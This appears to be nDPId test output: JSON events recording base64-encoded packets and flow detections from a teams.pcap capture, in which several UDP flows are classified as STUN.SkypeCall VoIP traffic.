+00514{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2672,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":330316,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB0gkYAAEARanDAqAEGXUduzcN0P80AYEblAQEARCESpEKjF0z2+O91Jw0PY1eAcAAEAAAABwAgAAgAAR7ffFXKj4A3AAQAAAACgDYABAAAAAEACAAUNbjIzLk8Htcx5rlGPdUzB6Mtkf+AKAAECmy4uA=="} +00552{"flow_id":81,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2673,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":330389,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMX9EAAEARjM3AqAEGXUduzcN0P80AeEAgAAEAXCESpEJvsFtMkRg8G\/ztdLwABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUIVL6+UU6k643kpe64\/MzitD9Q4eAKAAEwjOytg=="} +00769{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2674,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":381451,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEsaPwAAEARIBfAqAEGNHL6jcNgDZYBGBOdAAQA\/CESpEIsNFIeR67x\/KSTudUADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP8xdR27NABMAfAABAGghEqRCH9y33u2t\/jYyT2+1AAYACW81L0k6RlkzMgAAAIAqAAgAAH+KUoZYAIBwAAQAAAAHgDYABAAAAAEAJAAEbv\/4\/4CVAAh\/IMTdT4SN+oA3AAQAAAACAAgAFLkI9+jCSAoSd\/OOXciVMXiIrqbdgCgABLPHZEgACAAg7sRmb8sPDDsK8L9wIx7c4\/un3a7csABeHu5jm1wMzFk="} +00764{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2675,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":381585,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEsXTYAAEARK+HAqAEGNHL6icN0DZYBGMK2AAQA\/CESpEIeamDBSEqcaMKGtFYADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP81dR27NABMAfAABAGghEqRCa6gY9jQ3F4QYLRqEAAYACUpGd2o6K21JdgAAAIAqAAgAAH+KUoZYAIBwAAQAAAAHgDYABAAAAAEAJAAEbv\/4\/4CVAAhb5VsGDC2J+oA3AAQAAAACAAgAFGPigS6EUGSGggUbRbFSk1APqJ0agCgABKpfQ2cACAAguGTqGqFZLfExfohAPRW3NYW9D0LDg15vdpj82BiyuIs="} +00426{"flow_id":63,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2676,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":385416,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HBdAADQG6fanY9ekwKgBBhFS7JY0lYrrFa2ICIAQAfVqPgAAAQEIChN5Sr8whN\/3"} +00608{"flow_id":70,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2677,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":389155,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC4fJgAAGwR4O40cvqNwKgBBg2Ww2AApNd+ARUAiMLWdk9T8dgTMFhVlH2+EmsADwAEcsZLxgASAAgAAT\/MXUduzQATAHAAAQBcIRKkQpOT7iqoT5owckEG1gAGAAlGWTMyOm81L0kAAACAKQAIAAB\/7V4FjgCAcAAEAAAAB4A2AAQAAAABACQABG7\/\/f6ANwAEAAAAAgAIABQwsyB\/3AcVNGFmgIYtfHOO0Vm54oAoAAR90b9H"} +00609{"flow_id":72,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2678,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":389378,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC4VxkAAGwRBnI0cvqJwKgBBg2Ww3QApCdjARUAiE\/LrilDXPJWtp6yDikzcPIADwAEcsZLxgASAAgAAT\/NXUduzQATAHAAAQBcIRKkQlPk9TFAsI2GK+OZoAAGAAkrbUl2OkpGd2oAAACAKQAIAAB\/7V4FjgCAcAAEAAAAB4A2AAQAAAABACQABG7\/\/f6ANwAEAAAAAgAIABQqoNaJl5j6Qph3wmShySpejyG1ZYAoAAR\/OzfK"} +00516{"flow_id":80,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2679,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":406639,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB0Bd0AADUR8dldR27NwKgBBj\/Mw2AAYJiUAQEARCESpEL9LF5WbGc54yQwO\/eAcAAEAAAABwAgAAgAAcHVcadqCoA3AAQAAAACgDYABAAAAAEACAAUfLZK4Jp9GCnUwepSRXJ0QYfNKUiAKAAEeKXxaw=="} +00516{"flow_id":81,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2680,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":407379,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB0iYEAADURbjVdR27NwKgBBj\/Nw3QAYAIVAQEARCESpEJvsFtMkRg8G\/ztdLyAcAAEAAAABwAgAAgAAc5scadqCoA3AAQAAAACgDYABAAAAAEACAAUt0fBakPBlSed9Q+UJ+6ZvN9VvN+AKAAELvJkIw=="} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2681,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":413161,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2681,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1587041695421,"flow_last_seen":0,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":132,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":132,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.252.21","dst_ip":"192.168.1.6","src_port":3480,"dst_port":50036,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00565{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":421892,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"KDc3AG3IEBMx8Tl2CABFAACYUPwAAGwRCyM0cvwVwKgBBg2Yw3QAhCaSAAEAaCESpEK59F1PLtIJs2rQCYoABgAJK21JdjpKRndqAAAAgCkACAAAf+1eBY4AgHAABAAAAAeANgAEAAAAAQAkAARu\/\/n+gJUACGUfNM4ueRX8gDcABAAAAAIACAAUDNg3puCxSSnyiCvs+zLb4wfWy9WAKAAEDuovdw=="} +00574{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1587041695421,"flow_last_seen":0,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":132,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":132,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.252.21","dst_ip":"192.168.1.6","src_port":3480,"dst_port":50036,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2683,"source":"teams.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1587041695422,"flow_last_seen":0,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":132,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":132,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.252.8","dst_ip":"192.168.1.6","src_port":3479,"dst_port":50016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00565{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2683,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":422685,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"KDc3AG3IEBMx8Tl2CABFAACY4AMAAG0Reyg0cvwIwKgBBg2Xw2AAhBBVAAEAaCESpEKBJ1p+KLNk2I89FPkABgAJRlkzMjpvNS9JAAAAgCkACAAAf+1eBY4AgHAABAAAAAeANgAEAAAAAQAkAARu\/\/n+gJUACN6qKWcI9wj8gDcABAAAAAIACAAUyAS6wVT6GpHQ1gnRXe5kbQ9LDuWAKAAEokvlFA=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2683,"source":"teams.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1587041695422,"flow_last_seen":0,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":132,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":132,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.252.8","dst_ip":"192.168.1.6","src_port":3479,"dst_port":50016,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00716{"flow_id":70,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2684,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":432593,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEIQwIAAEARRjXAqAEGNHL6jcNgDZYA9FdMAAQA2CESpEKfui7uErrywVVZDhwADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP8xdR27NABMAWAEBAEQhEqRCk5PuKqhPmjByQQbWgHAABAAAAAcAIAAIAAEe3nxVyo+ANwAEAAAAAoA2AAQAAAABAAgAFFFp\/EIw9m0w0dRwmYyqML3\/iSKPgCgABN8vUt8ACAAgqGRf4o8r70c+bwbjLKjnyOxfHW\/RCLgda6bT0E3pUpo="} +00534{"flow_id":83,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2685,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":432665,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"EBMx8Tl2KDc3AG3ICABFAACA0aoAAEARtpnAqAEGNHL8CMNgDZcAbO2O\/xAAYN6qKWcI9wj8AQEARCESpEKBJ1p+KLNk2I89FPmAcAAEAAAABwAgAAgAASyFFWBYSoA3AAQAAAACgDYABAAAAAEACAAUmYtT\/sgffZE\/GPjMTGRSk5h1N+2AKAAEPqesNg=="} +00768{"flow_id":70,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2686,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":432806,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEsslcAAEAR1rvAqAEGNHL6jcNgDZYBGA46AAQA\/CESpEKGfpR3I6Wm38Zk7TUADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP8xdR27NABMAfAABAGghEqRCH9y33u2t\/jYyT2+1AAYACW81L0k6RlkzMgAAAIAqAAgAAH+KUoZYAIBwAAQAAAAHgDYABAAAAAEAJAAEbv\/4\/4CVAAh\/IMTdT4SN+oA3AAQAAAACAAgAFLkI9+jCSAoSd\/OOXciVMXiIrqbdgCgABLPHZEgACAAg4ni\/MyGpn0IPPfamZXcwXcyTP9hFKqNf3gjYqNKVXl0="} +00714{"flow_id":72,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2687,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":433232,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEIB74AAEARgX3AqAEGNHL6icN0DZYA9JXXAAQA2CESpEJpchKVO4fonPIh+aAADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP81dR27NABMAWAEBAEQhEqRCU+T1MUCwjYYr45mggHAABAAAAAcAIAAIAAEe33xVyo+ANwAEAAAAAoA2AAQAAAABAAgAFKSOPm9ycNiS3mJyX4fapy4vEu1\/gCgABIqjvoYACAAg+pL5K0Lk7MyR0ZqbhlMFnDsKGKI3TTZKmRHPJasNnPQ="} +00532{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2688,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":433333,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"EBMx8Tl2KDc3AG3ICABFAACAFs8AAEARcWjAqAEGNHL8FcN0DZgAbMYz\/xAAYGUfNM4ueRX8AQEARCESpEK59F1PLtIJs2rQCYqAcAAEAAAABwAgAAgAASyKFWBYV4A3AAQAAAACgDYABAAAAAEACAAUb+d2GMvNHhGxBtT1sjJNLSVYAvSAKAAEqoFJXQ=="} +00764{"flow_id":72,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2689,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":433459,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEsR2QAAEARQbPAqAEGNHL6icN0DZYBGOj5AAQA\/CESpELTjfKyZNTNUCzFgVAADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP81dR27NABMAfAABAGghEqRCa6gY9jQ3F4QYLRqEAAYACUpGd2o6K21JdgAAAIAqAAgAAH+KUoZYAIBwAAQAAAAHgDYABAAAAAEAJAAEbv\/4\/4CVAAhb5VsGDC2J+oA3AAQAAAACAAgAFGPigS6EUGSGggUbRbFSk1APqJ0agCgABKpfQ2cACAAgUB2ZPqsXXGYjBv8pRG+HEjCK6R8QdiEsnAYTs3tf1IE="} +00573{"flow_id":70,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2692,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":487462,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"KDc3AG3IEBMx8Tl2CABFAACgfJkAAGwR4QU0cvqNwKgBBg2Ww2AAjOyBARUAcKB5W+zxYEZI0BvFP4MTXuMADwAEcsZLxgASAAgAAT\/MXUduzQATAFgBAQBEIRKkQh\/ct97trf42Mk9vtYBwAAQAAAAHACAACAABLIoVYF7PgDcABAAAAAKANgAEAAAAAQAIABQu4nbMkN65GU2342ZGB1HTuyfL4oAoAASbSS9w"} +00572{"flow_id":72,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2693,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":489389,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"KDc3AG3IEBMx8Tl2CABFAACgVxoAAGwRBok0cvqJwKgBBg2Ww3QAjPtSARUAcHDIdy6ELI5VgNlGYLKQR0cADwAEcsZLxgASAAgAAT\/NXUduzQATAFgBAQBEIRKkQmuoGPY0NxeEGC0ahIBwAAQAAAAHACAACAABLIoVYF7LgDcABAAAAAKANgAEAAAAAQAIABQmkyqTHQT6T56Pujrgj0IEPNmqmoAoAATGhbwj"} +00550{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2696,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":586059,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMZh4AAEARkejAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} +00552{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2697,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":586146,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMyucAAEARLR\/AqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} +00574{"flow_id":70,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2698,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":591686,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"KDc3AG3IEBMx8Tl2CABFAACgfJoAAGwR4QQ0cvqNwKgBBg2Ww2AAjP\/jARUAcEsH9LrSqS+R0AO4vj8MjjMADwAEcsZLxgASAAgAAT\/MXUduzQATAFgBAQBEIRKkQh\/ct97trf42Mk9vtYBwAAQAAAAHACAACAABLIoVYF7PgDcABAAAAAKANgAEAAAAAQAIABQu4nbMkN65GU2342ZGB1HTuyfL4oAoAASbSS9w"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2699,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":611288,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2699,"source":"teams.pcap","alias":"nDPId-test","type":38} +00573{"flow_id":72,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2700,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":621161,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"KDc3AG3IEBMx8Tl2CABFAACgVxsAAGwRBog0cvqJwKgBBg2Ww3QAjH\/oARUAcJSaToyZriiQZEEn466yVrgADwAEcsZLxgASAAgAAT\/NXUduzQATAFgBAQBEIRKkQmuoGPY0NxeEGC0ahIBwAAQAAAAHACAACAABLIoVYF7LgDcABAAAAAKANgAEAAAAAQAIABQmkyqTHQT6T56Pujrgj0IEPNmqmoAoAATGhbwj"} +00550{"flow_id":78,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2701,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":890424,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACM6boAAEARDkzAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} +00551{"flow_id":79,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2702,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041695,"pkt_ts_usec":890513,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMMbQAAEARxlLAqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} +00550{"flow_id":78,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2707,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":194345,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMXPIAAEARmxTAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} +00551{"flow_id":79,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2708,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":194432,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMFBgAAEAR4+7AqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} +00550{"flow_id":78,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2709,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":498337,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMrv0AAEARSQnAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} +00553{"flow_id":80,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2710,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":498551,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"EBMx8Tl2KDc3AG3ICABFAACQu2oAAEARMTDAqAEGXUduzcNgP8wAfBKsAAEAYCESpEKyalJ26c+bCI1C0PUABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAlAAAAJAAEbv\/+\/4A3AAQAAAACAAgAFNd7wOvI0gzaWL0JHAJmvaCW1OcegCgABLiDaXI="} +00551{"flow_id":79,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2711,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":498651,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMPIAAAEARu4bAqAEGwKgABMN0w2QAeBWjAAEAXCESpEJMnOcpR8XuRjfgdwcABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUZBvpMZrPL2uguq2xDA1A6CBjF+2AKAAEncV\/3g=="} 